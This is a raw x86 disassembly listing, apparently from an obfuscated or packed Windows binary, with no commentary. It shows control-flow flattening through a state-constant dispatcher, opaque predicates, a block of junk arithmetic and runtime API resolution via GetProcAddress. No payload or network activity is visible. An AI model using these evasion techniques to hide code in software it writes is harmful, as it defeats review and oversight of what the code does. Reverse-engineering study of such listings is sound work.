mov dword [ebp - 0x1a4], eax
mov eax, 0xe56c8f1a
jmp 0x401710
cmp eax, 0x6092ebd9
jg 0x4069a3
cmp eax, 0x5e328de9
je 0x409da1
cmp eax, 0x5eaaa8ce
jne 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x3b53b034
and ecx, 1
mov esi, edx
and edx, 0xc4ac4fcb
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0xc7fa275a
mov edx, eax
xor edx, 0x3b53b034
xor eax, 0xc4ac4fcb
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete ah
setne ch
cmp dword [0x4e4170], 0xa
mov al, ah
setl cl
setge dl
xor al, cl
xor ch, dl
or dl, ah
or cl, ah
and al, ah
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and dl, cl
xor cl, 1
and ah, cl
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd4c9a80
cmovne ecx, esi
test al, 1
mov eax, 0xd4c9a80
jmp 0x405993
cmp eax, 0xe29cb0ce
jg 0x4069cc
cmp eax, 0xe1f1c3aa
je 0x409eb5
cmp eax, 0xe2992823
jne 0x401710
mov eax, 0x8493c8d3
jmp 0x401710
cmp eax, 0xd4c9a7f
jg 0x4069fa
cmp eax, 0xc5ec298
je 0x409ebf
cmp eax, 0xc9528cf
jne 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xef8322ed
mov ecx, eax
and ecx, 0xc7012065
and edx, eax
not eax
and eax, 0x28820288
or ecx, eax
xor ecx, 0xc7012065
or ecx, edx
not edx
and edx, 0x107cdd12
and ecx, 0xef8322ed
or ecx, edx
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x484a1701
mov esi, eax
and esi, 0xb7b5e8fe
or edx, esi
mov esi, ecx
not esi
and ecx, 0x484a1701
or eax, esi
and esi, 0xb7b5e8fe
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4411018
and eax, 0x532a0020
mov edx, ecx
and edx, 0x8080ca01
or ecx, 0x80401a18
or esi, edx
and ecx, 0xa8543fde
mov edx, esi
xor edx, 0x4010000
xor esi, 0xa8142fc6
or eax, ecx
and esi, 0xa8543fde
and edx, 0x481c001
or edx, esi
mov esi, 0xb35cbf82
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x84c1da19
and ecx, 0x7b3e25e6
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x92b9fa27
and ecx, 0x6d4605d8
or ecx, eax
cmp ecx, 0x6d4605d8
sete dl
cmp dword [0x4e4170], 0xa
mov ch, dl
mov eax, edx
setge ah
setl cl
inc al
and ch, ah
xor ah, dl
and al, cl
or cl, dl
mov dl, ah
or al, ch
xor dl, cl
or cl, ah
xor al, 1
xor cl, 1
or cl, dl
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xeb3a665b
cmovne ecx, esi
test al, al
mov esi, 0xeb3a665b
jmp 0x40d236
cmp eax, 0x942913b2
jg 0x406a29
cmp eax, 0x920b344b
je 0x409ee5
cmp eax, 0x93c1a46a
jne 0x401710
mov ecx, dword [0x4e4174]
mov edi, 0xbe5a437b
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x4200088
mov edx, ecx
and edx, 0x1c05415
and ecx, 0xfa1fab62
or eax, edx
xor eax, 0x4200088
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0x69c8671c
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x963798e2
or ecx, esi
mov esi, edx
not esi
and edx, 0x69c8671d
or eax, esi
and esi, 0x963798e2
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x2040880a
and eax, 0x59000634
mov edx, ecx
and edx, 0x23a70c0
or ecx, 0x207ae08a
or esi, edx
and ecx, 0xa4ffe18b
mov edx, esi
xor edx, 0x800
xor esi, 0x84bf6181
or eax, ecx
and esi, 0xa4ffe18b
and edx, 0x2001840
or edx, esi
mov esi, 0xbd3d9939
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xbccd50f7
and ecx, 0x4332af08
or eax, ecx
xor eax, 0x9eb7a83d
setne dl
sete dh
cmp dword [0x4e4170], 0xa
mov ebx, edx
setge al
setl ch
mov ah, al
mov cl, ch
and bl, ch
xor ch, dh
and ah, dh
or dh, al
or al, dl
or cl, dl
or ah, bl
xor al, 1
mov bh, dh
xor ah, 1
or al, ch
xor bh, cl
or cl, dh
mov dl, ah
or ah, al
xor cl, 1
xor dl, al
xor ah, 1
or cl, bh
or ah, dl
mov dl, ah
mov al, ah
xor dl, 1
and dl, ah
xor dl, 1
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov eax, 0xbe5a437b
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne eax, esi
test ch, cl
mov ecx, dword [ebp - 0x68]
cmove eax, edi
cmovne eax, esi
test dl, 1
cmovne eax, esi
mov ecx, dword [ecx]
mov dword [ebp - 0xf4], ecx
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ecx]
mov dword [ebp - 0xf8], ecx
jmp 0x401710
cmp eax, 0x50907109
jg 0x406a4f
cmp eax, 0x4c9b42cc
je 0x409efe
cmp eax, 0x4f6a571f
jne 0x401710
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x97007fe4
and eax, 0x970a11
mov edx, ecx
and edx, 0x68ff801b
or ecx, 0x5688424
or esi, edx
and ecx, 0xaf6884e6
mov edx, esi
xor esi, 0x688000
xor edx, 0x10007100
or eax, ecx
or esi, 0xaa0000c2
and edx, 0x50007108
and esi, 0xaf6884e6
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x5568f52c
and ecx, 0xaa970ad3
or eax, ecx
mov edi, eax
xor edi, 0xaae3e747
mov edx, eax
and edx, 0x9def66cb
and edi, eax
not eax
and eax, 0x62109934
or edx, eax
mov ecx, edx
xor ecx, 0x22008104
mov eax, edx
xor eax, 0x80614203
or ecx, 0x551c18b8
and eax, 0xa261c303
mov esi, ecx
and esi, 0x5d8a34dc
or eax, esi
mov esi, edi
not esi
and edi, 0xa275cb23
or ecx, esi
and esi, 0x5d8a34dc
or edi, esi
not ecx
mov esi, edx
xor esi, 0x1d4e6200
xor edx, 0x22001924
xor edi, eax
or esi, 1
and edx, 0xa2a11dee
or ecx, edi
and esi, 0x5d5ee211
mov eax, ecx
not eax
and ecx, 0xaae3e746
or esi, edx
and eax, 0x551c18b9
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xd54d4207
mov edx, eax
and edx, 0x2ab2bdf8
or ecx, edx
mov edx, esi
xor edx, 0x554c4200
xor esi, 0xa2a11dee
or eax, esi
and esi, 0x2ab2bdf8
and edx, 0xd54d4206
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x58000201
and eax, 0x622050
mov edx, ecx
and edx, 0x2610900a
or ecx, 0x14009000
or esi, edx
and ecx, 0x958ddda4
mov edx, esi
xor edx, 0x48000201
xor esi, 0x858ddda4
or eax, ecx
and esi, 0x958ddda4
and edx, 0x6a10020b
or edx, esi
mov esi, 0x23b45113
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x7e10920b
and ecx, 0x81ef6df4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1569b408
mov edx, ecx
and edx, 0xea964bf7
or eax, edx
xor eax, 0xea964bf7
xor ecx, eax
test ecx, eax
setne al
sete cl
cmp dword [0x4e4170], 0xa
mov ch, al
setl dl
setge ah
and cl, dl
and ch, ah
and dl, al
inc al
or cl, ch
and al, ah
xor cl, 1
or al, dl
or cl, ah
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x54e79b9f
cmovne ecx, esi
test al, al
mov esi, 0x54e79b9f
jmp 0x40d236
cmp eax, 0xd747da89
jg 0x406a76
cmp eax, 0xd6e183f4
je 0x409f08
cmp eax, 0xd72402cf
jne 0x401710
mov eax, 0x6acb9bd8
jmp 0x401710
cmp eax, 0x26b8cc8a
jg 0x406aae
cmp eax, 0x25638bf9
je 0x409f2b
cmp eax, 0x26104c27
jne 0x401710
mov eax, dword [ebp - 0x60]
add eax, 4
mov dword [ebp - 0x154], eax
mov eax, 0xa353cc7d
jmp 0x401710
cmp eax, 0xb01ed06c
jg 0x406ae0
cmp eax, 0xacefff52
je 0x409f3e
cmp eax, 0xadb94d0c
jne 0x401710
sub ebx, 0x8a
bswap eax
imul eax
imul esi
bswap esi
and ebx, 0x6e
inc edx
inc edi
and edx, 0xa7
add esi, 0xc
neg esi
mov edx, 0x14
dec edx
inc edx
mov edi, 0xc
not esi
ror ebx, 0xe3
sub ebx, 0xf4
sbb ebx, 0x18
sbb edi, 0x6f
and ebx, 0x6d
neg esi
or ebx, 0x20
not eax
or esi, 0xde
not esi
bswap esi
sbb edx, 0xfc
sub esi, 0xad
add esi, 0x34
or eax, 0xaf
inc ebx
inc edx
rol eax, 0x1a
neg eax
neg edx
rcl esi, 0x97
neg edi
imul esi
sub esi, 0xd5
sbb eax, 0x31
imul esi
rcl edi, 0x24
mov ebx, 0x47
rcl edx, 0xac
not eax
neg edi
add edx, 0xd
rol ebx, 0x3c
imul edi
or ebx, 0x4c
imul edi
mov ebx, 0x48
dec edx
not edi
rcr edi, 0x41
rol esi, 0x9c
inc edx
bswap ebx
and ebx, 0xc
mov edi, 0x38
inc eax
add ebx, 0xec
inc ebx
add ebx, 0x84
not edx
or eax, 0x7a
imul esi
imul edi
add ebx, 0xd7
neg eax
neg ebx
neg eax
sub esi, 0xed
rcr edx, 0x6f
rol edi, 0x46
rcr eax, 0x37
rol edi, 0xd9
sub esi, 0x56
rcr edi, 0xdf
ror ebx, 0xe8
or ebx, 0x73
not edi
and edx, 0x98
imul esi
rcl ebx, 0x98
rcr edx, 0xf2
or edi, 0x4e
add edx, 0x7b
sub edi, 0x79
sbb esi, 0xe1
add eax, 0xb
neg esi
bswap edi
neg edi
dec edx
sub esi, 0xe0
rcr esi, 0x96
neg ebx
imul ebx
and eax, 0x24
or eax, 0xff
rcr edi, 0xec
ror edx, 0xc6
or edi, 0xf8
dec eax
sub eax, 0x2a
dec ebx
rcl edx, 0x13
imul edx
rcr esi, 0xa1
dec edx
bswap eax
sub edi, 0x19
dec esi
inc esi
imul eax
dec ebx
rcl edx, 0x5d
ror edx, 0xd0
or eax, 0xe9
sbb eax, 0x5b
not edi
bswap ebx
add edi, 0xbd
rol edx, 0x58
rcr edi, 0xbd
not eax
inc eax
bswap eax
inc edx
neg edx
inc esi
imul edx
imul eax
sbb esi, 0xe1
dec edi
rcl eax, 0x7a
rcr ebx, 0x8c
bswap edx
dec eax
sbb edi, 0x5c
imul eax
sub esi, 0xc
imul edx
mov esi, 0xb8
neg edx
sbb esi, 0xe5
mov edi, 7
imul esi
mov ecx, dword [0x4e4174]
mov dword [ebp - 0x178], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0x8f135681
and ecx, 0x70eca97e
or ecx, eax
mov eax, edx
not eax
and edx, 0x1db64c79
mov esi, eax
and esi, 0xe249b386
or edx, esi
mov esi, ecx
xor esi, 0x10a40879
xor ecx, 0x8f135680
or eax, ecx
and ecx, 0xe249b386
and esi, 0x1db64c79
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xebf7e5d
and eax, 0x1391408
mov edx, ecx
and edx, 0xf14081a2
or ecx, 0xcc241a6
or esi, edx
and ecx, 0x3cc641b7
mov edx, esi
xor esi, 0x4001a2
xor edx, 0x2002a40
or eax, ecx
or esi, 0x30040011
and edx, 0xc200aa40
and esi, 0x3cc641b7
or edx, esi
mov esi, 0xcb3e5c2c
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x177c81bd
and ecx, 0xe8837e42
or eax, ecx
mov ecx, eax
xor ecx, 0x51202048
xor eax, 0x264195a4
mov edx, eax
and edx, 0x8c9f4f13
and ecx, 0x7360b0ec
or ecx, edx
xor ecx, 0x8c9f4f13
xor eax, ecx
test eax, ecx
sete ah
setne dl
cmp dword [0x4e4170], 0xa
setl ch
setge cl
mov al, ch
xor al, ah
and ah, al
and al, ch
mov ch, ah
xor ah, al
xor al, 1
xor ch, 1
or al, ch
xor al, 1
or al, ah
mov ah, dl
inc ah
xor ah, cl
or cl, dl
mov dl, ah
xor cl, 1
xor dl, 1
or cl, dl
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4739b13f
cmovne eax, esi
test dl, 1
mov edx, 0x4739b13f
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401710
cmp eax, 0x702ce9a4
jg 0x406bd9
cmp eax, 0x6fbe2540
je 0x409f86
cmp eax, 0x6fcaae95
jne 0x401710
mov eax, dword [ebp - 0x80]
push dword [ebp - 0x194]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, 0xdbcf8a38
jmp 0x401710
cmp eax, 0xfbdb97e1
jg 0x406d41
cmp eax, 0xfb401d45
je 0x409f9f
cmp eax, 0xfb9aa531
jne 0x401710
mov eax, dword [ebp - 0x24]
mov eax, 0xf617960a
jmp 0x401710
cmp eax, 0xa79ce3a
jg 0x406d6d
cmp eax, 0x8a0e7b3
je 0x409fac
cmp eax, 0x90fe71a
jne 0x401710
mov eax, 0x1a1a2c18
jmp 0x401710
cmp eax, 0x8493c8d3
je 0x40a042
cmp eax, 0x84da66ff
jne 0x401710
mov eax, dword [ebp - 0xac]
mov eax, 0xbc225558
jmp 0x401710
cmp eax, 0x45353ead
je 0x40a05b
cmp eax, 0x4739b13f
jne 0x401710
mov eax, 0x3b3b0b07
jmp 0x401710
cmp eax, 0xcb3e5c2c
je 0x40a065
cmp eax, 0xccf2ddbb
jne 0x401710
mov eax, 0xca60b8ce
jmp 0x401710
cmp eax, 0x207d30d8
je 0x40a21e
cmp eax, 0x2092d4c8
jne 0x401710
movzx eax, word [ebp - 0xbe]
mov ecx, dword [ebp - 0xf0]
mov edi, 0x6295caff
cmp ecx, eax
mov eax, dword [0x4e4174]
setl byte [ebp - 0x92]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x8c829de7
and edx, ecx
not ecx
and ecx, 0x8c829de7
or edx, ecx
mov eax, edx
not eax
and edx, 0x30fa9b2d
and eax, 0xcf0564d2
or edx, eax
mov esi, edx
mov ecx, edx
xor ecx, 0x4387f935
xor esi, 0xbc7806ca
xor edx, 0x82211cea
mov eax, ecx
and edx, esi
and eax, 0x3e591a20
and esi, 0xf86b3f75
or eax, edx
not edx
and edx, 0xc1a6e5de
and eax, 0x3e591a21
or eax, edx
mov edx, ecx
and edx, 0x794c08a
and ecx, 1
or edx, esi
xor edx, 0xf86b3f74
or ecx, edx
mov edx, eax
not edx
and eax, 0xa4fbcb3b
mov esi, edx
and esi, 0x5b0434c4
or edx, ecx
or eax, esi
mov esi, ecx
not esi
and ecx, 0x5b0434c4
not edx
and esi, 0xa4fbcb3b
or esi, ecx
xor esi, eax
or edx, esi
mov esi, 0x94c8bfa6
mov eax, edx
not eax
and edx, 0xbedc4f71
and eax, 0x4123b08e
or edx, eax
xor edx, 0xbedc4f71
sete dl
setne ah
cmp dword [0x4e4170], 0xa
setl al
setge ch
mov cl, al
and al, ah
or cl, dl
and dl, ch
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
xor cl, 1
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0x6295caff
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
jmp 0x40afbb
cmp eax, 0xa595016f
je 0x40a365
cmp eax, 0xa5cd9d73
jne 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4dc13cf8
mov esi, eax
and esi, 0xb23ec307
mov edi, eax
or edi, 0x2c2509c8
and eax, 0x4e6c128c
or edx, esi
and edi, 0xad374dc8
mov esi, edx
xor edx, 0x20240100
xor esi, 0x40400000
or edx, 0x81124400
and esi, 0x42488203
and edx, 0xad374dc8
or esi, edx
mov edx, ecx
and edx, 0x10803034
and ecx, 0xb193ed73
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x6e6d8bca
and esi, 0x91927435
or edx, esi
mov esi, edx
not esi
and edx, 0x4e6c128c
mov edi, esi
and edi, 0xb193ed73
or edx, edi
mov edi, 0xd914f377
xor eax, edx
not eax
or eax, esi
mov esi, 0xf1acc219
xor eax, 0xffffffff
sete ah
setne dl
cmp dword [0x4e4170], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xd914f377
cmovne eax, esi
test dl, dl
cmovne eax, edi
test cl, cl
cmove eax, esi
jmp 0x401710
cmp eax, 0x64f31f6a
je 0x40a37d
cmp eax, 0x6547a54b
jne 0x401710
mov eax, dword [ebp - 0x190]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0xb67673a
jmp 0x401710
cmp eax, 0xeaaa25a1
je 0x40a561
cmp eax, 0xeb3a665b
jne 0x401710
mov eax, 0x7d7c11a1
jmp 0x401710
cmp eax, 0x132794be
je 0x40a574
cmp eax, 0x1415e8b0
jne 0x401710
cmp byte [ebp - 0x96], 0
mov eax, 0xfbe20ac5
mov ecx, 0xdaa53de6
cmovne eax, ecx
jmp 0x401710
cmp eax, 0x977759e6
je 0x40a7a7
cmp eax, 0x981b3a27
jne 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xbd20c622
mov esi, edx
and esi, 0x42df39dc
and edx, 0x82afc869
or eax, esi
mov esi, eax
xor esi, 0x3c200602
xor eax, 0x42df39dd
mov edi, eax
and edi, 0xc10fe9fd
and esi, 0x3ef01602
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x7d503796
mov ebx, edi
not ebx
and edi, 0x3ef01602
or ecx, edx
or eax, ebx
and ebx, 0xc10fe9fd
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x1b1c7337
and esi, 0xe4e38cc8
or eax, esi
mov esi, eax
xor esi, 0x6304
xor eax, 0xe4e38cc8
mov edx, eax
and edx, 0x7f1c143b
and esi, 0x80e3ebc4
or esi, edx
mov edx, ecx
xor edx, 0x402384
xor ecx, 0x82afc869
or eax, ecx
and ecx, 0x7f1c143b
and edx, 0x80e3ebc4
or edx, ecx
not eax
xor edx, esi
mov esi, 0x49e4cc1c
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x4e4170], 0xa
setge al
setl ah
mov ch, al
and ah, cl
xor ch, dl
mov cl, ch
and cl, al
and al, dl
or al, ah
or al, cl
mov cl, al
or al, ch
xor cl, ch
mov edx, eax
xor dl, cl
mov edx, 0xf0b2f59f
cmovne edx, esi
test al, al
mov eax, 0xf0b2f59f
jmp 0x40afb8
cmp eax, 0x54815886
je 0x40a7ca
cmp eax, 0x54e79b9f
jne 0x401710
mov eax, 0xe9f1fc78
jmp 0x401710
cmp eax, 0xdae84c2c
je 0x40a8b6
cmp eax, 0xdbcf8a38
jne 0x401710
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x44]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, 0x38b4fcc3
jmp 0x401710
cmp eax, 0x30044cc8
je 0x40a8c0
cmp eax, 0x3028e882
jne 0x401710
mov eax, 0xdc3f3cd9
jmp 0x401710
cmp eax, 0xb7e3efd5
je 0x40a8d3
cmp eax, 0xb8e8a66a
jne 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, 0x6204e7b6
jmp 0x401710
cmp eax, 0x77cd6f2d
je 0x40aa2a
cmp eax, 0x78209dfe
jne 0x401710
mov eax, dword [ebp - 0x1d4]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x1d0]
push dword [ebp - 0xd0]
push dword [ebp - 0x1c8]
push dword [ebp - 0x1cc]
push eax
vzeroupper
call section..text
add esp, 0x10
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
mov eax, 0x4b7c9e08
jmp 0x401710
cmp eax, 0xf617960a
je 0x40af0b
cmp eax, 0xf781327f
jne 0x401710
mov eax, 0x54815886
jmp 0x401710
cmp eax, 0x54cfa6a
je 0x40afc5
cmp eax, 0x592a9aa
jne 0x401710
mov eax, 0x32c5d2e2
jmp 0x401710
cmp eax, 0x838dcb85
je 0x40afdb
cmp eax, 0x83b9e07b
jne 0x401710
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
or esi, 0x80542ab4
and edx, 0x3088000
mov ecx, eax
or ecx, 0x5020444b
and esi, 0xd0746eff
and eax, 0x2c831100
and ecx, 0xd0746eff
or eax, esi
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and edx, 0xc84c7d51
and eax, 0x37b382ae
or edx, eax
mov eax, edx
xor edx, 0x4b10d6e0
xor eax, 0xb4ef281a
mov ecx, eax
and edx, 0xcf3cfee8
and ecx, 0x30c30117
and eax, 0x67677084
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x30c30117
xor esi, 0x57a47193
xor ecx, 0x841c90a0
and esi, edx
or edx, 1
and ecx, 0x841d90b0
or eax, esi
mov esi, eax
not esi
and eax, 0x190e6bf8
and esi, 0xe6f19407
or eax, esi
mov esi, eax
xor esi, 0x80148080
xor eax, 0x7e691b7d
mov edi, eax
or eax, edx
and edx, 0x7be26f4f
and edi, 0x7be26f4f
and esi, 0x841d90b0
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x484cc599
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x68247f96
and ecx, 0x97db8069
or ecx, edx
xor ecx, 0x68247f96
xor eax, ecx
test eax, ecx
sete ah
setne al
cmp dword [0x4e4170], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
mov ah, dl
and al, ch
xor dl, al
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x5d83775e
mov al, ah
xor al, dl
cmovne ecx, esi
test dl, dl
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x40c6f0
cmp eax, 0x3ecd5811
je 0x40afeb
cmp eax, 0x40543cd8
jne 0x401710
mov eax, 0xd747da8a
jmp 0x401710
cmp eax, 0xc74d9073
je 0x40b026
cmp eax, 0xc7fa275a
jne 0x401710
mov eax, 0x5eaaa8ce
jmp 0x401710
cmp eax, 0x1e9bb6e5
je 0x40b030
cmp eax, 0x1f311821
jne 0x401710
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov dword [ebp - 0x158], eax
mov eax, 0xf150d94a
jmp 0x401710
cmp eax, 0xa353cc7d
je 0x40b158
cmp eax, 0xa3a90c0b
jne 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0x22cac977
not edx
mov ecx, edx
and esi, eax
and ecx, 0x22cac977
and edx, 0xb27e0b5e
and eax, 0x4d81f4a1
or esi, ecx
or eax, edx
mov ecx, esi
not ecx
and esi, 0xb87d9bb1
and ecx, 0x4782644e
or esi, ecx
mov ecx, esi
xor ecx, 0x98020202
xor esi, 0x1082c10
and esi, 0x3bd7cd5
and ecx, 0xfc42832a
or ecx, esi
mov esi, ecx
xor esi, 0x6c428228
xor ecx, 0x3bd7cd5
mov edx, ecx
and edx, 0x90116d93
and esi, 0x6fee926c
or esi, edx
mov edx, eax
xor edx, 0x4d809020
xor eax, 0xb27e0b5e
or ecx, eax
and eax, 0x90116d93
and edx, 0x6fee926c
or edx, eax
not ecx
xor edx, esi
mov esi, 0x1f9dcd0d
or ecx, edx
xor ecx, 0xffffffff
sete cl
setne dl
cmp dword [0x4e4170], 0xa
setl ah
setge al
and dl, al
and ah, cl
or ah, dl
mov dl, ah
xor dl, al
xor al, cl
and dl, ah
mov ecx, eax
mov ch, dl
not cl
xor ch, 1
and cl, ch
or ch, al
and al, dl
mov edx, 0x1fe47545
or al, cl
mov cl, al
xor cl, ch
test al, al
mov eax, 0x1f9dcd0d
cmovne eax, edx
test ch, ch
cmovne eax, esi
jmp 0x40cb10
cmp eax, 0x6204e7b6
je 0x40b178
cmp eax, 0x6295caff
jne 0x401710
cmp byte [ebp - 0x92], 0
mov eax, 0x473b13d2
mov ecx, 0x418e6f01
cmovne eax, ecx
jmp 0x401710
cmp eax, 0xe51f8817
je 0x40b267
cmp eax, 0xe56c8f1a
jne 0x401710
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x1a4]
mov dword [eax], ecx
mov eax, 0xb67673a
jmp 0x401710
cmp eax, 0x1169ab54
je 0x40b271
cmp eax, 0x11b2683a
jne 0x401710
mov eax, dword [ebp - 0x38]
mov eax, 0x207d30d8
jmp 0x401710
cmp eax, 0x94c8bfa6
je 0x40b285
cmp eax, 0x95c382a3
jne 0x401710
mov eax, 0x485fbabd
jmp 0x401710
cmp eax, 0x5125df44
je 0x40b29c
cmp eax, 0x51dff185
jne 0x401710
mov eax, dword [ebp - 0x54]
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov eax, edx
not ecx
or eax, 0x6cee2d8d
mov edi, ecx
mov esi, eax
and esi, 0x79c9fcce
and edi, 0x82100230
and ecx, 0x2a87a96c
or edi, esi
mov esi, edx
xor esi, 0x9311d272
and esi, edx
mov ebx, esi
not ebx
and esi, 0x86360331
or eax, ebx
and ebx, 0x79c9fcce
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0x6cee2d8c
and eax, 0x9311d273
or eax, esi
mov esi, eax
not esi
and eax, 0x866ab894
and esi, 0x7995476b
or eax, esi
mov esi, eax
xor esi, 0x202a804
xor eax, 0x7995476b
mov edi, eax
or eax, edx
and edx, 0xd5785693
and edi, 0xd5785693
and esi, 0x2a87a96c
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x27cfdde1
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf9980f01
and ecx, 0x667f0fe
or eax, ecx
xor eax, 0xf9980f01
sete dl
setne ah
cmp dword [0x4e4170], 0xa
setl cl
setge al
and cl, dl
mov dl, ah
and dl, al
or cl, dl
xor cl, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ebx, edx
xor bl, al
test al, al
mov eax, 0x756a5697
cmovne eax, esi
test dl, dl
not bl
mov edx, 0x756a5697
cmovne eax, esi
test bl, 1
cmove eax, edx
jmp 0x401710
cmp eax, 0xd914f377
je 0x40b2a6
cmp eax, 0xd9358926
jne 0x401710
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe8]
mov eax, 0x42f50fd1
jmp 0x401710
cmp eax, 0x291e2ed1
je 0x40b2b0
cmp eax, 0x29ded433
jne 0x401710
mov eax, dword [ebp - 0x28]
mov eax, 0x132794be
jmp 0x401710
cmp eax, 0xb2371c77
je 0x40b2c9
cmp eax, 0xb35a9cf1
